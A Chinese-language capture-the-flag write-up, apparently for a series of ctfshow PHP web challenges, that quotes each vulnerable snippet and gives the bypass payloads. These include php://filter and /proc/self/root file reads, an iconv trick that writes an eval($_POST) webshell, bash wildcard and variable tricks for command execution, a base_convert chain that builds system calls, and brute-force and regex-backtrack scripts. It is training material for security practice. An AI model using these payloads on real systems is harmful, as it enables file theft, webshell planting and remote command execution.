function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
考察点:php超全局变量$GLOBALS的使用
介绍
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
举个例子
$a=123;
$b=456;
var_dump($GLOBALS);
返回内容较多就不一一列出了。我们只看最后两条,发现我们自行定义的变量会被输出。
["a"]=>
int(123)
["b"]=>
int(456)
所以对于该题,只要把$GLOBALS赋值给v2,然后v2再赋值给v1,即可将全部变量输出.
payload: ?v1=ctfshow&v2=GLOBALS
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
考察点:php伪协议绕过is_file+highlight_file对于php伪协议的使用
函数介绍
is_file — 判断给定文件名是否为一个正常的文件
is_file ( string $filename ) : bool
我们的目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议。
可以直接用不带任何过滤器的filter伪协议
payload:file=php://filter/resource=flag.php
也可以用一些没有过滤掉的编码方式和转换方式
payload:file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
file=compress.zlib://flag.php
payload:file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
还有一些其他的,可以参考php文档
112中提到的 compress.zlib//flag.php可以过
当然这不是预期解
预期解payload:
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file的具体原理尚不清楚,希望有师傅解答下。
留了个filter就不多说了。
payload:file=php://filter/resource=flag.php
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
考察点:trim函数的绕过+is_numeric绕过
函数介绍
语法
trim(string,charlist)
参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格
做个简单的小测试
for ($i=0; $i <128 ; $i++) {
$x=chr($i).'1';
if(is_numeric($x)==true){
echo urlencode(chr($i))."\n";
}
}
除了数字和+-.号以外还有 %09 %0a %0b %0c %0d %20
再来看看 trim+is_numeric
for ($i=0; $i <=128 ; $i++) {
$x=chr($i).'1';
if(trim($x)!=='1' && is_numeric($x)){
echo urlencode(chr($i))."\n";
}
}
发现除了+-.号以外还有只剩下%0c也就是换页符了,所以这个题只有这一个固定的解了。
payload:num=%0c36
下载下来视频,然后用010editor可以看到里面有一张图片,提取出来发现源码。
是一个文件包含。
如下图所示
过滤了很多协议和编码方式,但其实都是摆设,因为用的是file_get_contents所以,直接 输入file=flag.php就可以过了。
payload:file=flag.php
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "".$contents);
考察点:绕过死亡die
题目中过滤了很多协议和编码方式,但是除了我们常用的base64和rot13还是有很多方法可以绕过die的
更多编码方式
这是取一个 UCS-2LE UCS-2BE
payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=??
这种是将字符两位两位进行交换
大家可以自行测试如下代码
echo iconv("UCS-2LE","UCS-2BE",'??' );
输出如下,使得die失效,并且我们的一句话木马可以使用
?<hp pid(e;)>?<?php eval($_POST[1]);?>
该部分题目是我在月饼杯web3的基础上不断增加过滤演变而成的。属于命令执行部分,因为顺序的原因我们就在此进行讲解了。
118
在原来过滤的基础上增加了数字的过滤。
linux中存在的大量的内置变量
具体的可参考其他师傅写的文章
月饼杯web3 payload:${PATH:14:1}${PATH:5:1} ????.??? 构造出的是 nl flag.php
所有我们现在想到简易一点的方法就是得到一个n一个l
发现 $PATH的最后一位是n $PWD的最后一位 也就是 /var/www/html的最后一位是l
在linux中可以用~获取变量的最后几位
而字母起到的作用是和0相同的,所有${PATH:~A}其实就是${PATH:~0}
payload: code=${PATH:~A}${PWD:~A} ????.???
119、120
在118的基础上增加了 PATH、BASH、HOME的过滤
这时我们可以利用通配符 调用base64命令,也就是构造出 /bin/base64 flag.php
/???4 ???.???
如果可以构造出来/和4不就可以了吗
在linux中可以用 ${#var}显示var变量的长度
只要找到一个变量的长度是4就可以了。/还是很好找的 $PWD的第一位就是了
我们发现${#RANDOM}可以实现
数字1可以用$SHIVL
payload:code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
121
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo ''.'you are so long , I dont like '.'';
}
else{
echo ''.system($code).'';
}
}
else{
echo 'evil input';
}
}
在上面题的基础上又增加了其他内置变量,但是放开了PWD和RANDOM
所以我们只需研究上一个payload的替换值即可。
过滤了SHLVL,这时可以考虑用 $?替代
$?
用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。
其他的不需要改变
payload: code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
122
增加了#和PWD的过滤,使得我们无法通过获取内置变量的长度获取字符串,PWD可以用HOME代替,其他的没有改变,也就是说我们只要能得到一个数字1就能通过。
这时候就需要强大的$?了
$?
用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。
在本机测试发现使用${}这样是可以获得数字1的,但是在题目环境中发现返回的是2,无奈之下放开了<的过滤(小于号)
出现4的几率虽然小,但是是有可能的,不断刷新即可
payload:code=
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
第一个难搞的地方isset($_POST['CTF_SHOW.COM'])
因为php变量命名是不允许使用点号的
可以测试一下
var_dump($_POST);
输入 CTF_SHOW.COM=1
返回
array(1) { ["CTF_SHOW_COM"]=> string(1) "1" }
那么既然题目是可以有方法通过的,我们就来个暴力的方式
下面代码的主要功能是模拟post传参,然后根据返回值的长度来判断。不符合要求的返回长度都为0
function curl($url,$data){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$response = curl_exec($ch);
curl_close($ch);
return strlen($response);
}
$url="http://127.0.0.1/test.php";
for ($i=0; $i <=128 ; $i++) {
for ($j=0; $j <=128 ; $j++) {
$data="CTF".urlencode(chr($i))."SHOW".urlencode(chr($j))."COM"."=123";
if(curl($url,$data)!=0){
echo $data."\n";
}
}
}
其中test.php中的内容
if(isset($_POST['CTF_SHOW.COM'])){
echo 123;
}
输出结果
CTF%5BSHOW.COM=123
具体的原理尚不清楚
另外一个知识点
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
因为我们是在网页模式下运行的,所以$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
也就是$a[0]= $_SERVER['QUERY_STRING']
这时候我们只要通过 eval("$c".";");
将$flag赋值flag_give_me就可以了。
payload:
get: $fl0g=flag_give_me;
post: CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])
再来几个非预期
post: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
post: CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS) 题目出不来,本地测试可以
问了下出题人,这个题的预期解是
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
我自己本地测试了下
$a=$_SERVER['argv'];
var_dump($a);
传入 a=1+fl0g=flag_give_me
结果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }
有大佬啃了下php的c源码总结如下
CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去
继续判断query string是否为空,
如果不为空把通过+符号分割的字符串转换成php内部的zend_string,
然后再把这个zend_string复制到 arr 数组中去。
这样就可以通过加号+分割argv成多个部分,正如我们上面测试的结果。
这道题给我们留了很多的数学函数,我们发现其中基本全是php中可用使用的函数。而且很多是可用进行进制转换的。
我们来看下具体的函数
base_convert(number,frombase,tobase);
参数 描述
number 必需。规定要转换的数。
frombase 必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase 必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
bindec — 二进制转换为十进制
bindec ( string $binary_string ) : number
decbin — 十进制转换为二进制
decbin ( int $number ) : string
dechex — 十进制转换为十六进制
dechex ( int $number ) : string
decoct — 十进制转换为八进制
decoct ( int $number ) : string
hexdec — 十六进制转换为十进制
hexdec ( int $number ) : string
在这个题中,我们不能使用除题目白名单中给出的函数以外的任何字符。那我们的目的就是构造出字母或者构造出函数。
假设我们要构造出如下表达式
c=$_GET[a]($_GET[b])&a=system&b=cat flag
我们需要构造的是其实只有 _GET,$我们可用使用,中括号可用用花括号代替,小括号也是可以使用的。这时候我们想到了一个办法,如果可以构造出hex2bin函数就可以将16进制转换成字符串了。我们又可以用decoct将10进制转换成16进制。也就是可以将10进制转换成字符串。
那么问题来了,hex2bin怎么构造呢,这时候就需要用到base_convert了。
我们发现36进制中包含了所有的数字和字母,所有只需要将hex2bin按照36进制转换成10进制就可以了。
echo base_convert('hex2bin', 36, 10);
结果 37907361743
echo hexdec(bin2hex("_GET"));
结果 1598506324
现在我们要做的就是反过来了
base_convert('37907361743',10,36); hex2bin
base_convert('37907361743',10,36)(dechex('1598506324')); _GET
c=$pi=_GET;$$pi{abs}($$pi{acos})&abs=system&acos=tac f*
我们再把_GET进行替换
payload:c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*
考点有点和123重复
跑了一下0-128
function curl($url){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
return strlen($result);
}
for ($i=0; $i < 128; $i++) {
$url="http://127.0.0.1/flag.php?ctf".urlencode(chr($i))."show=1";
if(curl($url)!==0){
echo urlencode(chr($i))."\n";
}
}
flag.php
if(isset($_GET['ctf_show'])){
echo 123;
}
发现以下字符等同于ctf_show
+ _ [ .
+ 这里的加号在url中起到空格的作用
除去他过滤掉的 _ . [ 我们发现我们还可以用空格实现
payload:ctf show=ilove36d
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
考察点:gettext拓展的使用
在开启该拓展后 _() 等效于 gettext()
echo gettext("phpinfo");
结果 phpinfo
echo _("phpinfo");
结果 phpinfo
所以 call_user_func('_','phpinfo')
返回的就是phpinfo
因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars
get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
payload:f1=_&f2=get_defined_vars
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
函数介绍
stripos()
查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
一个简单的方法就是远程文件包含,在自己的服务器上写个一句话,然后保存为txt文档。
例如 f=http://url/xxx.txt?ctfshow
其中xxx.txt为一句话
要是没有服务器的话,我们也可以用php伪协议绕过
payload:f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
filter伪协议支持多种编码方式,无效的就被忽略掉了。
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
考察点:利用正则最大回溯次数绕过
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
python脚本如下
import requests
url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/"
data={
'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)
非预期解
利用数组 f[]=ctfshow